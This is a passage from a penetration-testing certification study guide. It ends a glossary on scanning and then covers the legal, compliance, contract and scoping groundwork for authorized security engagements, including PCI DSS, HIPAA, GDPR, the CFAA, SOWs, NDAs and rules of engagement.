SYN Scan (-sS) — Nmap's default scan type when run with root privileges. Sends SYN packets and analyzes responses without completing the TCP three-way handshake, providing fast, reliable port state determination.

UDP Scan (-sU) — Nmap's UDP scanning mode. Significantly slower than TCP scanning due to UDP's connectionless nature and OS rate limiting of ICMP Port Unreachable responses, but critical for discovering high-value services like SNMP, DNS, NTP, and TFTP.

Vulnerability — A weakness in a system, application, or process that can be exploited to cause harm, defined formally as a weakness in computational logic that when exploited results in negative impact to confidentiality, integrity, or availability.

Vulnerability Scanning — Automated testing of systems against databases of known vulnerabilities to identify security weaknesses. Distinct from penetration testing: scanning identifies potential weaknesses, penetration testing confirms exploitability.

Final Note on Module 3 Completion

Module 3 has built the complete intelligence and scanning foundation for professional penetration testing. You now understand how to map an organization's external attack surface from entirely public sources before touching a single system, how to systematically discover and enumerate every service on a target network, how to assess every discovered service against known vulnerability databases, and how to investigate, analyze, and communicate each finding with professional rigor.

These capabilities chain directly into Module 4 (Exploitation) — where the intelligence gathered in Module 3 becomes the input for selecting, customizing, and executing attack techniques. Every successful exploit is preceded by successful reconnaissance. Every accurate exploitation attempt is informed by thorough scanning and analysis. The quality of what comes next is bounded by the quality of what was done in Module 3.

═══════════════════════════════════════════════════════════
MODULE 3 — INFORMATION GATHERING AND VULNERABILITY SCANNING
COMPLETE
═══════════════════════════════════════════════════════════

Module 2: Planning and Scoping a Penetration Testing Assessment

Rençber AKMAN — Wed, 29 Jul 2026 09:15:25 +0000

CompTIA PenTest+ / Ethical Hacking Certification Series

Professional Reference Guide — GitHub Edition

Covers: Governance · Risk · Compliance · Scoping · Legal Frameworks · Ethical Mindset

2.0 Introduction
2.1 Comparing and Contrasting Governance, Risk, and Compliance Concepts
- 2.1.1 Overview — What is GRC?
- 2.1.2 Regulatory Compliance Considerations
- 2.1.3 Local Restrictions
- 2.1.4 Legal Concepts in Penetration Testing
- 2.1.5 Contracts and Agreements
- 2.1.6 Disclaimers
2.2 Explaining the Importance of Scoping and Organizational or Customer Requirements
- 2.2.1 Overview — Why Scoping Matters
- 2.2.2 Rules of Engagement (ROE)
- 2.2.3 Target List and In-Scope Assets
- 2.2.4 Validating the Scope of Engagement
- 2.2.5 Strategy — Unknown vs. Known Environment Testing
- 2.2.6 Pre-Engagement Scope and Planning
- 2.2.7 Creating a Penetration Testing Agreement
- 2.2.8 Business Justification — ROI of Penetration Testing
2.3 Demonstrating an Ethical Hacking Mindset by Maintaining Professionalism and Integrity
- 2.3.1 Overview — The Professional Ethical Hacker
- 2.3.2 Ethical Frameworks and Decision-Making Models
- 2.3.3 Personal Code of Conduct
2.4 Key Roles, Titles, and Organizational Structures in Cybersecurity
2.5 Cloud Environments and Their Implications for Scoping
2.6 Master Glossary — All Critical Terms for This Module

2.0 Introduction

Why Planning and Scoping is the Foundation of Every Successful Penetration Test

Penetration testing is not simply about finding vulnerabilities. It is a structured, legally governed, and professionally executed discipline. Before a single packet is sent, before a single tool is launched, a penetration tester must have a clear, written, legally binding agreement that defines exactly what can be tested, when, how, by whom, and from where.

Failure at the planning and scoping stage is not just an administrative inconvenience — it can result in:

Criminal prosecution of the tester or the testing firm
Civil lawsuits filed by the client against the tester for unintended disruption
Loss of professional certification and career-ending reputational damage
Engagement of emergency response teams by the client who believes they are under a real attack
Data breaches caused by uncontrolled exploitation of production systems
Regulatory penalties imposed on the client organization by compliance bodies

The penetration test lifecycle, in professional practice, allocates significantly more time to planning, scoping, and documentation than to the actual technical exploitation phase. A senior penetration tester or red team lead will spend days or even weeks negotiating, drafting, and finalizing scope documents before touching any system.

This module builds the foundational knowledge required to conduct all pre-engagement activities at a professional, industry-standard level.

The Fictional Engagement Context: Protego Security Solutions & Pixel Paradise

Throughout this module, the learning scenario centers on Protego Security Solutions, a fictional penetration testing firm, and their new client Pixel Paradise. This scenario illustrates the real-world business relationship between a security consulting firm and a client organization. The concepts introduced through this scenario are directly applicable to every real-world engagement a professional penetration tester will conduct.

2.1 Comparing and Contrasting Governance, Risk, and Compliance Concepts

2.1.1 Overview — What is GRC?

GRC stands for Governance, Risk, and Compliance. It is the integrated framework through which organizations manage their policies, identify and respond to risk, and ensure that they meet all applicable regulatory and legal requirements. Understanding GRC is not optional for a penetration tester — it is mandatory, because every engagement takes place within a GRC context.

Governance

Governance refers to the system of rules, policies, procedures, and accountability structures that an organization uses to direct and control its operations. In cybersecurity, governance defines:

Who is responsible for security decisions (CISO, CIO, Board of Directors)
What policies exist (Acceptable Use Policy, Data Classification Policy, Incident Response Policy)
How compliance is monitored and enforced
What the organization's risk appetite is — i.e., how much risk it is willing to accept

A penetration tester must understand governance because the scope and permissions for a test are ultimately authorized at the governance level. The CISO or CIO signs the authorization document. If the person who authorizes the test does not have the organizational authority to do so, the authorization is legally void.

Risk

Risk in cybersecurity is formally defined as the potential for loss, damage, or destruction of an asset as a result of a threat exploiting a vulnerability. The fundamental risk equation is:

Risk = Threat × Vulnerability × Impact

Key risk concepts a penetration tester must understand:

Term	Definition
Threat	Any potential cause of an unwanted incident that may harm a system or organization
Vulnerability	A weakness in a system, process, or control that can be exploited
Exploit	The method or code used to take advantage of a vulnerability
Impact	The magnitude of harm that would result from a successful attack
Likelihood	The probability that a threat will successfully exploit a vulnerability
Risk Appetite	The level of risk an organization is willing to accept in pursuit of its objectives
Residual Risk	The risk that remains after controls have been applied
Risk Tolerance	The acceptable variation in outcomes relative to the risk appetite
Inherent Risk	The risk that exists before any controls are applied

Risk Management Frameworks used in practice:

NIST Risk Management Framework (RMF) — SP 800-37: A structured, flexible process for integrating security and risk management activities into the system development life cycle
ISO/IEC 27005 — Information security risk management standard
FAIR (Factor Analysis of Information Risk) — A quantitative model for understanding, analyzing, and measuring information risk in financial terms
OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) — A risk-based strategic assessment and planning technique developed at Carnegie Mellon University

Compliance

Compliance is the act of conforming to a specification, policy, standard, or law. For cybersecurity, compliance typically refers to adhering to industry-specific regulations and standards that govern how data must be protected, how access is managed, and how breaches must be reported.

The critical distinction: Compliance ≠ Security. An organization can be fully compliant with a standard yet still be highly vulnerable to attack. Penetration testing is one of the primary mechanisms used to demonstrate that compliance controls are actually effective in practice.

2.1.2 Regulatory Compliance Considerations

This section examines the major regulatory frameworks and compliance standards that directly affect the scope, conduct, and documentation of penetration testing engagements.

PCI DSS — Payment Card Industry Data Security Standard

Full Name: Payment Card Industry Data Security Standard

Governing Body: PCI Security Standards Council (PCI SSC) — founded by American Express, Discover, JCB International, Mastercard, and Visa

Applies to: Any organization that stores, processes, or transmits cardholder data (credit/debit card data)

Current Version: PCI DSS v4.0 (released March 2022, enforced from March 2024)

PCI DSS is arguably the most directly relevant compliance framework for penetration testers because it explicitly requires penetration testing as a compliance control.

PCI DSS v4.0 Key Requirements:

Requirement	Description
Req. 11.3	Implement a methodology for penetration testing
Req. 11.3.1	External penetration test performed at least once every 12 months and after any significant infrastructure or application upgrade/change
Req. 11.3.2	Internal penetration test performed at least once every 12 months
Req. 11.3.3	Exploitable vulnerabilities must be corrected and penetration testing repeated to verify remediation
Req. 11.3.4	Segmentation controls must be tested if network segmentation is used to isolate the CDE

Key PCI DSS Concepts:

Cardholder Data Environment (CDE): The people, processes, and technology that store, process, or transmit cardholder data or sensitive authentication data. Defining the CDE boundary is the first step in a PCI DSS penetration test scoping exercise.

PAN — Primary Account Number:

The 16-digit (or variable-length) number on a payment card. PAN is the most sensitive piece of cardholder data. Under PCI DSS, PAN must be:

Rendered unreadable anywhere it is stored (via hashing, truncation, tokenization, or encryption)
Never sent unencrypted over open networks
Masked when displayed (only the first six and last four digits may be shown)

If PAN is found during a penetration test in an unprotected location (e.g., in plaintext in a log file, database, or email), this is a critical finding with direct compliance implications.

Tokenization: The process of replacing sensitive data (PAN) with a non-sensitive equivalent (a token) that has no exploitable value. The mapping between the token and the real PAN is stored in a secure token vault.

Truncation: Removing segments of PAN data so that only a portion is retained (e.g., displaying only the last four digits).

Scoping for PCI DSS Penetration Tests:

The scope of a PCI DSS penetration test must include:

All components in the CDE
All components that could impact the security of the CDE (connected systems)
Segmentation controls between the CDE and other networks
All external-facing systems (web applications, APIs, payment portals)

QSA — Qualified Security Assessor:

A company and individual certified by the PCI SSC to perform PCI DSS assessments. QSAs are the authorized personnel who conduct formal PCI DSS compliance audits. A penetration tester working within a PCI DSS context will often coordinate with or report findings to a QSA.

PFI — PCI Forensic Investigator:

A company certified by the PCI SSC to investigate cardholder data breaches. When a confirmed or suspected breach of cardholder data occurs, a PFI is engaged to conduct forensic analysis, determine the scope of the breach, identify the root cause, and prepare a final incident report. As a penetration tester, you may interface with PFIs if a test uncovers evidence of a pre-existing breach.

ISA — Internal Security Assessor:

An individual who has been certified by the PCI SSC to perform PCI DSS self-assessments for their own organization. Unlike QSAs, ISAs work internally within a single organization.

SAQ — Self-Assessment Questionnaire:

A validation tool for merchants and service providers who are permitted to self-assess their compliance with PCI DSS. Different SAQ types apply based on how an organization processes card data.

HIPAA — Health Insurance Portability and Accountability Act

Full Name: Health Insurance Portability and Accountability Act of 1996

Governing Body: U.S. Department of Health and Human Services (HHS), Office for Civil Rights (OCR)

Applies to: Covered Entities (healthcare providers, health plans, healthcare clearinghouses) and their Business Associates

Jurisdiction: United States (federal law)

HIPAA protects the privacy and security of Protected Health Information (PHI) — any individually identifiable health information held or transmitted by a covered entity or its business associates.

Types of PHI:

PHI includes any information that can be used to identify an individual and relates to:

Past, present, or future physical or mental health condition
Provision of healthcare
Past, present, or future payment for healthcare

18 HIPAA Identifiers that make health information "individually identifiable":
Names, geographic data, dates (other than year), phone numbers, fax numbers, email addresses, Social Security numbers, medical record numbers, health plan beneficiary numbers, account numbers, certificate/license numbers, VINs, device identifiers, web URLs, IP addresses, biometric identifiers, full-face photographs, and any other unique identifying number or code.

ePHI — Electronic Protected Health Information:

PHI that is created, stored, transmitted, or received in electronic form.

HIPAA Rules Relevant to Penetration Testing:

Rule	Relevance
Security Rule	Requires covered entities to conduct periodic risk assessments and implement administrative, physical, and technical safeguards for ePHI. Penetration testing is a component of technical safeguard implementation and risk analysis.
Privacy Rule	Governs the use and disclosure of PHI. During a penetration test, care must be taken not to access or exfiltrate actual PHI.
Breach Notification Rule	Requires notification of affected individuals, HHS, and (in some cases) media in the event of an unsecured PHI breach. If a penetration tester accidentally accesses ePHI systems beyond agreed scope, this may trigger breach notification obligations.

Penetration Testing Under HIPAA:

HIPAA does not explicitly mandate penetration testing, but it does require risk analysis (45 CFR § 164.308(a)(1)) and risk management. The HHS/OCR has consistently issued guidance indicating that penetration testing is a recognized method of fulfilling the risk analysis requirement.

Key considerations for HIPAA-regulated penetration tests:

Must be authorized in writing by the covered entity's compliance officer or legal counsel
Test should avoid actual access to real patient data — test environments with synthetic data are strongly preferred
Any inadvertent exposure of ePHI during testing must be reported to the covered entity immediately
Testers handling any ePHI must be covered under a signed Business Associate Agreement (BAA)

Penalties for HIPAA violations range from $100 to $50,000 per violation (per category), with annual caps and potential criminal prosecution for willful violations.

GDPR — General Data Protection Regulation

Full Name: General Data Protection Regulation

Governing Body: European Data Protection Board (EDPB); enforced by national Data Protection Authorities (DPAs) in each EU member state

Applies to: Any organization that processes personal data of EU/EEA residents, regardless of where the organization is located

Effective Date: May 25, 2018

Jurisdiction: European Union / European Economic Area; extraterritorial effect globally

GDPR is the most comprehensive and globally influential data privacy regulation in existence. Its extraterritorial scope means that a U.S.-based company processing the data of EU customers is subject to GDPR.

Key GDPR Definitions:

Term	Definition
Personal Data	Any information relating to an identified or identifiable natural person (the "data subject")
Data Subject	The natural person whose personal data is being processed
Controller	The entity that determines the purposes and means of processing personal data
Processor	The entity that processes personal data on behalf of the controller
Processing	Any operation performed on personal data (collection, storage, use, disclosure, erasure)
Data Protection Officer (DPO)	A designated expert in data protection who must be appointed by certain organizations
Supervisory Authority	The national body responsible for enforcing GDPR in each member state

GDPR Principles (Article 5):

Lawfulness, fairness, and transparency — Data must be processed legally, fairly, and transparently
Purpose limitation — Data collected for specific, explicit, and legitimate purposes must not be further processed in a way incompatible with those purposes
Data minimisation — Only data that is necessary for the specified purpose should be collected
Accuracy — Data must be accurate and kept up to date
Storage limitation — Data should not be kept for longer than necessary
Integrity and confidentiality — Data must be processed in a manner that ensures appropriate security (including protection against unauthorized access)
Accountability — The controller is responsible for and must be able to demonstrate compliance

GDPR Relevance to Penetration Testing:

Penetration testing firms acting as processors must have a Data Processing Agreement (DPA) with the controller client
If a penetration test accidentally accesses personal data of EU residents, this may constitute a personal data breach under GDPR
Under Article 33, a data breach must be reported to the supervisory authority within 72 hours of becoming aware of it
Penetration test reports containing personal data must be handled in accordance with GDPR data minimisation and security principles
Testing must only be performed after explicit, documented written authorization from the data controller

GDPR Penalties:

Tier 1: Up to €10 million or 2% of global annual turnover, whichever is higher
Tier 2: Up to €20 million or 4% of global annual turnover, whichever is higher

GLBA — Gramm-Leach-Bliley Act

Full Name: Gramm-Leach-Bliley Act (also known as the Financial Services Modernization Act of 1999)

Governing Body: Federal Trade Commission (FTC), banking regulators (OCC, Fed, FDIC, NCUA)

Applies to: Financial institutions — banks, insurance companies, securities firms, mortgage companies, investment advisors, and any other company that offers financial products or services to consumers

Jurisdiction: United States (federal law)

GLBA requires financial institutions to explain their information-sharing practices to their customers and to safeguard sensitive data.

Three Key Rules Under GLBA:

Rule	Description
Financial Privacy Rule	Requires financial institutions to provide customers with privacy notices explaining what information is collected and how it is shared
Safeguards Rule	Requires financial institutions to implement a comprehensive Written Information Security Program (WISP) with administrative, technical, and physical safeguards
Pretexting Provisions	Prohibits the practice of obtaining customer information under false pretenses

GLBA Safeguards Rule — Penetration Testing Implications:

The FTC's updated Safeguards Rule (effective June 9, 2023) explicitly requires:

Penetration testing of information systems at least annually
Vulnerability assessments at least every six months
Continuous monitoring or periodic testing of key controls

Nonpublic Personal Information (NPI/NPPI):

The category of information GLBA protects — includes names, addresses, Social Security numbers, income, account numbers, payment history, and other financial information.

FedRAMP — Federal Risk and Authorization Management Program

Full Name: Federal Risk and Authorization Management Program

Governing Body: U.S. General Services Administration (GSA), FedRAMP Program Management Office (PMO)

Applies to: Cloud Service Providers (CSPs) seeking to offer services to U.S. federal government agencies

Established: 2011

FedRAMP provides a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services used by the federal government.

FedRAMP Impact Levels:

Level	Description	Examples
Low	Loss of confidentiality, integrity, or availability would have a limited adverse effect	Public-facing informational websites
Moderate	Loss would have a serious adverse effect	The majority of government systems — financial systems, employee records
High	Loss would have a severe or catastrophic adverse effect	Law enforcement, emergency services, financial systems with significant impact

FedRAMP and Penetration Testing:

FedRAMP requires CSPs to conduct penetration testing as part of their authorization process:

Must follow NIST SP 800-115 (Technical Guide to Information Security Testing and Assessment)
Annual penetration tests are required for authorized cloud systems
Tests must be coordinated with the relevant federal agency's Authorizing Official (AO)
Test plans must be reviewed and approved before execution
Results must be integrated into the CSP's Plan of Action and Milestones (POA&M)

JAB — Joint Authorization Board:

The primary governing body for FedRAMP consisting of CIOs from DoD, DHS, and GSA. The JAB can grant Provisional Authority to Operate (P-ATO) — a provisional security authorization for cloud services that can then be leveraged by individual agencies.

ATO — Authority to Operate:

The official decision by an Authorizing Official that a system is authorized to operate at an acceptable level of risk. ATOs are granted for specific systems after a security assessment is completed.

NIST SP 800-57 — Recommendation for Key Management

Full Name: NIST Special Publication 800-57, "Recommendation for Key Management"

Part 1: General — Provides guidance on defining the security services that may be needed, the algorithms and key types that may be used, and the requirements for their secure management

Published by: National Institute of Standards and Technology (NIST)

While SP 800-57 is specifically about cryptographic key management, it is relevant to penetration testers because:

Key management weaknesses are frequently discovered during penetration tests (hardcoded keys, weak key storage, improper key rotation)
Many compliance frameworks (PCI DSS, FedRAMP, HIPAA) reference NIST key management standards
Understanding cryptographic concepts allows testers to identify and explain encryption-related vulnerabilities

Key Types Defined in NIST SP 800-57:

Key Type	Purpose
Private Signature Key	Used in asymmetric signing to generate digital signatures
Public Signature Verification Key	Used to verify digital signatures
Symmetric Authentication Key	Used to provide data origin authentication and data integrity protection
Private Key-Agreement Key	Used in asymmetric key-agreement schemes
Symmetric Key-Wrapping Key	Used to encrypt other keys for storage or transport
Master Key	Used to derive other keys
Session Key	Used to protect communication during a single session

Key States (Lifecycle):

Keys move through defined states:

Pre-activation
Active
Suspended
Deactivated
Compromised
Destroyed
Destroyed/compromised

A penetration tester who finds keys that have not been properly rotated, or that are in an incorrect lifecycle state, has identified a key management vulnerability with potentially severe implications.

Other Regulatory Frameworks and Standards Worth Knowing

SOX — Sarbanes-Oxley Act (2002):

Applies to publicly traded companies in the United States. Section 404 requires management and external auditors to report on the adequacy of internal controls over financial reporting. IT General Controls (ITGCs), which include access controls and change management, are relevant to penetration testing in SOX-regulated environments.

FISMA — Federal Information Security Management Act:

Requires federal agencies to develop, document, and implement an information security and protection program. FISMA compliance requires security assessments that often include penetration testing, following NIST guidelines.

CCPA — California Consumer Privacy Act:

California state law that gives consumers rights over their personal information and requires businesses to disclose data collection practices. Similar in scope to GDPR but limited to California residents.

ISO/IEC 27001:

The international standard for information security management systems (ISMS). Organizations certified to ISO 27001 have demonstrated that they have implemented a systematic and documented approach to managing information security risks. Annex A of ISO 27001 includes controls related to penetration testing and technical vulnerability management.

CIS Controls (Center for Internet Security Controls):

A set of prioritized security actions designed to defend against the most prevalent cyber attacks. CIS Control 18 (Penetration Testing) specifically addresses the need for regular penetration testing.

SOC 2 — System and Organization Controls 2:

An auditing procedure developed by the AICPA for service organizations. SOC 2 reports assess controls relevant to the Trust Services Criteria: Security, Availability, Processing Integrity, Confidentiality, and Privacy. Many SaaS companies pursue SOC 2 Type II certification, which requires evidence of security controls including penetration testing results.

2.1.3 Local Restrictions

Beyond international frameworks, penetration testers must be acutely aware of jurisdiction-specific laws that may affect the legality of their activities.

The Problem of Jurisdictional Complexity

A penetration test may involve:

A tester located in Country A
A client headquartered in Country B
Systems hosted in Country C (cloud provider)
Data from users in Country D

Each jurisdiction may have different laws governing:

Unauthorized access to computer systems
Interception of network communications
Encryption use and export
Data residency requirements
Privacy and data protection

This creates a legal minefield that must be navigated carefully during scoping.

Major Computer Crime Laws by Jurisdiction

United States — Computer Fraud and Abuse Act (CFAA):

18 U.S.C. § 1030 — The primary U.S. federal statute criminalizing unauthorized access to computer systems. Key provisions:

Prohibits "knowingly" accessing a computer "without authorization" or exceeding authorized access
Applies to any computer "used in or affecting interstate or foreign commerce"
Penalties range from fines to imprisonment up to 20 years for aggravated violations
The "authorization" element is critical — this is why a written, signed authorization document is the penetration tester's most important legal protection
Civil liability: Computer owners can sue for damages under 18 U.S.C. § 1030(g)

United States — Electronic Communications Privacy Act (ECPA):

Prohibits interception of electronic communications. During a penetration test involving network traffic capture (packet sniffing), the tester must have explicit authorization covering this activity, or risk violating ECPA.

United Kingdom — Computer Misuse Act 1990 (CMA):

The UK's primary computer crime statute. The CMA creates three offenses:

Section 1: Unauthorized access to computer material
Section 2: Unauthorized access with intent to commit further offenses
Section 3: Unauthorized acts with intent to impair computer operation

The UK does not have a specific "authorized access" defense in the CMA. This means that even with a client's permission, if the tester accesses systems that technically belong to a third party (e.g., a cloud hosting provider), they may be at legal risk without the provider's authorization.

European Union — Directive on Attacks Against Information Systems (2013/40/EU):

Harmonizes EU member states' criminal law on cybercrime. Requires member states to criminalize:

Illegal access to information systems
Illegal system interference
Illegal data interference
Illegal interception

Australia — Criminal Code Act 1995:

Part 10.7 covers computer offenses. Similar to CFAA, criminalizes unauthorized access and modification of computer data.

Canada — Criminal Code (Sections 342.1 and 430):

Section 342.1 covers unauthorized use of a computer. Section 430 covers mischief related to data (impairment, interference, obstruction, or denial of access).

Key Principle: Authorization is the Legal Foundation

The singular most important legal concept in penetration testing is authorization. Without explicit, documented authorization from the party with legal authority over the target systems, any penetration testing activity — regardless of intent — may constitute a criminal offense.

Authorization must be:

Written — verbal agreements have no legal standing
Specific — clearly defining what systems, addresses, and methods are authorized
Signed — by a person with actual legal authority (not just technical access)
Time-bounded — specifying exact dates and times when testing is authorized
Retained — kept on file by both parties indefinitely

Export Controls and Cryptography

EAR — Export Administration Regulations:

U.S. regulations controlling the export of "dual-use" goods — items with both civilian and military applications. Many penetration testing tools contain cryptographic components that are subject to export controls. Tools using strong encryption may require export licenses before being used internationally.

ITAR — International Traffic in Arms Regulations:

Controls the export of defense-related articles and services. Advanced offensive security tools and techniques may be classified under ITAR in some contexts.

2.1.4 Legal Concepts in Penetration Testing

Authorization and Permission to Test

The fundamental legal principle that distinguishes ethical hacking from criminal hacking is authorization. A penetration tester must obtain explicit, written permission from the entity that has the legal right to grant such permission.

Who has the authority to authorize a penetration test?

This is a critical question. The wrong answer can invalidate the entire engagement from a legal perspective.

Correct authorizers include:

The owner of the systems being tested
A corporate officer (CIO, CTO, CISO, CEO) with authority over IT systems
Legal counsel acting with explicit authority
A board-level resolution authorizing the engagement (for highly sensitive or large-scale tests)

Incorrect or insufficient authorizers include:

A system administrator (they manage systems but may not own them legally)
An IT manager without C-suite authority
A project manager without explicit authorization
A client contact who cannot produce evidence of their authority

Third-Party Systems:

Many organizations use third-party services (cloud providers, CDNs, ISPs, managed service providers). If these third-party systems are in scope, authorization must be obtained from both the client organization and the third-party provider. This is particularly important for:

Cloud infrastructure (AWS, GCP, Azure)
Co-located data centers
Managed security service providers (MSSPs)
CDN providers (Cloudflare, Akamai)
Internet Service Providers (ISPs)

Liability

Liability refers to legal responsibility for an act or omission. In penetration testing, liability can arise when:

The tester causes unintended damage to systems or data (negligence liability)
The test goes beyond the agreed scope (contract liability)
Confidential data accessed during the test is improperly handled or disclosed (breach of confidentiality)
The tester discovers evidence of a crime and fails to handle it appropriately

Limiting Liability:

Liability is managed contractually through:

Indemnification clauses — the client agrees to hold the tester harmless for specified actions taken within scope
Limitation of liability clauses — caps the maximum damages the tester can be held liable for
Insurance — professional indemnity (errors and omissions) insurance and cybersecurity liability insurance

Intellectual Property (IP) Considerations

During a penetration test, the tester may encounter:

Source code
Trade secrets
Patents and patent applications
Proprietary algorithms
Unreleased products or business plans

This information is the client's intellectual property. The tester has no right to:

Copy or retain this information beyond what is necessary for the engagement
Use this information for any purpose other than the engagement
Disclose this information to any third party without the client's written consent

The engagement agreement must include provisions governing how discovered IP is handled, retained, and destroyed at engagement conclusion.

Personally Identifiable Information (PII)

PII is any information that can be used to identify a specific individual. During a penetration test — particularly those involving databases, file servers, email systems, or web applications — the tester will inevitably encounter PII.

Examples of PII:

Full names
Social Security Numbers (SSN)
Driver's license numbers
Passport numbers
Financial account numbers
Medical record numbers
Biometric data
Precise geolocation data
IP addresses (in some jurisdictions)
Email addresses combined with other identifiers

Obligations when PII is encountered:

Stop processing the PII immediately upon recognition
Note the location and type of PII found (for the report) without retaining the actual data
Notify the client contact immediately
Document the discovery in the engagement log
Do not copy, store, transmit, or use the PII for any purpose

Failure to properly handle discovered PII during a penetration test can expose both the tester and the client organization to regulatory sanctions under GDPR, HIPAA, CCPA, and other privacy laws.

2.1.5 Contracts and Agreements

Penetration testing engagements involve multiple layers of contractual documentation. Understanding each document, its purpose, and its legal implications is essential for professional practice.

MSA — Master Service Agreement

Full Name: Master Service Agreement

Also known as: Master Agreement, Framework Agreement

An MSA is a contract that establishes the general terms and conditions under which a service provider and a client will work together. It is a high-level document that governs the overall business relationship, not a specific project.

Typical MSA Contents:

Payment terms and invoicing schedules
Intellectual property ownership
Confidentiality obligations
Indemnification and limitation of liability provisions
Dispute resolution mechanisms (arbitration, governing law)
Warranty disclaimers
Termination conditions
Insurance requirements

Why MSAs Matter:

An MSA is executed once and governs all future engagements between the parties. Individual projects are then governed by Statements of Work (SOWs) that reference the MSA. This streamlines the contracting process — you don't need to renegotiate fundamental terms for every new project.

If you are working for a penetration testing firm, the MSA is the foundational contract that must be in place before any testing can begin with a new client.

SOW — Statement of Work

Full Name: Statement of Work

Also known as: Work Order, Project Agreement, Scope of Work

A SOW is a formal document that describes the specific work to be performed, the deliverables to be produced, the timeline, and the compensation. It operates within the framework of the MSA.

Critical Elements of a Penetration Testing SOW:

Element	Description
Scope Definition	Exactly which systems, networks, applications, or physical locations are in scope
Out-of-Scope Items	Explicitly listing what is excluded from the test
Testing Methods	Types of testing authorized (network, web application, social engineering, physical)
Testing Timeframe	Specific dates and times when testing is authorized
Testing Environment	Production vs. non-production; any restrictions during business hours
Point of Contact (POC)	Primary client contact for the engagement, emergency escalation contact
Deliverables	What reports will be produced, in what format, by what deadline
Handling of Discovered Credentials	What to do if valid credentials are found or obtained
Handling of Critical Vulnerabilities	Process for immediate notification if a critical vulnerability is discovered during testing
Data Handling and Retention	How data collected during the test will be handled, stored, and destroyed
Payment Schedule	Milestone-based or time-based payment terms
Acceptance Criteria	How the client will formally accept and approve deliverables

The SOW as Legal Protection:

The SOW is the single most important document protecting the penetration tester. If tested within the scope defined in the SOW, the tester is operating with explicit client authorization. Any action outside the SOW is potentially unauthorized and could constitute criminal activity.

NDA — Non-Disclosure Agreement

Full Name: Non-Disclosure Agreement

Also known as: Confidentiality Agreement (CA), Proprietary Information Agreement (PIA)

An NDA is a legally binding contract establishing a confidential relationship between parties. The party signing the NDA agrees not to disclose any confidential information obtained through the relationship.

Types of NDAs:

Type	Description
Unilateral (One-Way)	One party (the penetration tester) agrees not to disclose information received from the other party (the client). This is the most common type in penetration testing engagements.
Bilateral (Mutual)	Both parties agree to confidentiality. Used when both sides will be sharing proprietary information.
Multilateral	Three or more parties, where at least one party anticipates disclosing information to the others

What NDAs Protect in Penetration Testing:

Vulnerability findings and technical details
System architecture and network topology information
Business processes and procedures
Personnel information discovered during social engineering tests
Client's security posture and control weaknesses
Proprietary tools or methods disclosed by the tester

Key NDA Provisions to Understand:

Definition of Confidential Information — What exactly is covered by the NDA. Broad definitions protect more.
Exclusions from Confidentiality — Information that is already public, independently developed by the receiving party, or received from a third party without restriction
Duration — How long the confidentiality obligation lasts (typically 2-5 years, sometimes indefinitely for certain categories)
Permitted Disclosures — Disclosures required by law or court order; these provisions often require notice to the other party
Return/Destruction of Information — Requirements to return or destroy confidential materials at engagement conclusion
Remedies — NDAs typically provide for injunctive relief (court order to stop disclosure) as a remedy, since monetary damages may be inadequate

Signing Authority:

An NDA must be signed by a person with the legal authority to bind the organization. A standard employee signing an NDA may not have sufficient authority if the organization later challenges the agreement.

Rules of Engagement (ROE) Document

While formally part of scoping (discussed in Section 2.2), the ROE document functions as a contractual annex to the SOW. It translates the high-level scope definitions into specific technical permissions and prohibitions.

ROE Document Typical Contents:

Authorized IP address ranges and hostnames
Authorized attack types (network exploitation, social engineering, physical)
Prohibited actions (denial of service, data exfiltration, specific systems)
Emergency stop procedures (how the client can immediately halt testing)
Communication protocols and escalation procedures
Testing windows (specific dates and times)
IP addresses and hostnames of the testing team (for client to whitelist in IDS/IPS)

SLA — Service Level Agreement

Full Name: Service Level Agreement

An SLA is a commitment between a service provider and a client that defines the expected level of service. In the context of penetration testing and managed security services, SLAs define:

Response time commitments (e.g., within 4 hours of critical vulnerability discovery)
Reporting deadlines
Availability of the testing team
Escalation timeframes
Remediation verification timelines (for retesting)

SLA Metrics Commonly Used:

Metric	Description
RTO — Recovery Time Objective	Maximum acceptable time to restore a system or service after disruption
RPO — Recovery Point Objective	Maximum acceptable data loss measured in time
MTTR — Mean Time to Repair	Average time to restore a failed system
MTBF — Mean Time Between Failures	Average time between system failures
Uptime Percentage	Percentage of time a service is available (e.g., 99.9% = ~8.7 hours downtime/year)

Additional Contract Documents

LOA — Letter of Authorization:

A specific document authorizing a defined party (the penetration testing firm or individual tester) to conduct testing activities. Used in addition to the full contract suite, particularly when third-party service providers (e.g., hosting companies) require proof of authorization before allowing testing.

BAA — Business Associate Agreement:

Required under HIPAA. Any third party that handles Protected Health Information (PHI) on behalf of a covered entity must sign a BAA. A penetration testing firm that may encounter ePHI during a healthcare engagement must have a BAA in place before testing begins.

DPA — Data Processing Agreement:

Required under GDPR. If a penetration testing firm may process personal data of EU residents, a DPA between the firm (processor) and the client (controller) must be executed.

2.1.6 Disclaimers

Penetration testing reports and pre-engagement documents must contain specific disclaimers to properly communicate the limitations of the testing and protect both the tester and the client.

Standard Disclaimers in Penetration Testing Documentation

"Point-in-Time" Disclaimer:

Penetration testing represents the security posture of an organization at a specific moment in time. A new vulnerability may be disclosed the day after a test concludes. Reports must clearly state the testing period and explicitly note that findings are valid as of the test date only.

Example disclaimer language:

"This report reflects the security posture of the target environment as assessed during the testing period [START DATE] to [END DATE]. The findings contained herein are accurate as of the date of this report. The security posture of the environment may change subsequent to the completion of this assessment."

Scope Limitation Disclaimer:

Explicitly states that the test was limited to the systems, networks, and methods defined in the scope of work. The absence of findings for out-of-scope systems does not imply those systems are secure.

No Guarantee Disclaimer:

The penetration test cannot guarantee that all vulnerabilities have been discovered. Penetration testing is a sampling methodology, not an exhaustive mathematical proof of security.

Report Confidentiality Disclaimer:

States that the report contains sensitive security information and must be handled in accordance with the NDA. Distribution should be limited to authorized personnel.

"No Active Exploitation of Production Systems" Disclaimer:

When testing is conducted in non-destructive mode (i.e., vulnerabilities are identified but not actively exploited to the point of compromising production systems), this must be explicitly stated to avoid the client interpreting findings as confirmed breaches.

2.2 Explaining the Importance of Scoping and Organizational or Customer Requirements

2.2.1 Overview — Why Scoping Matters

Scoping is the process of defining the exact boundaries of a penetration testing engagement — what will be tested, what will not be tested, what methods are permitted, and what level of access is granted.

Poor scoping is the single most common cause of failed penetration testing engagements. The consequences of poorly defined scope include:

For the penetration tester:

Potential criminal liability for testing systems beyond authorization
Civil liability for damage caused to out-of-scope systems
Professional reputation damage
Loss of certification

For the client:

Wasted budget on testing that doesn't address actual risk areas
False sense of security
Potential regulatory violations if required systems are not tested
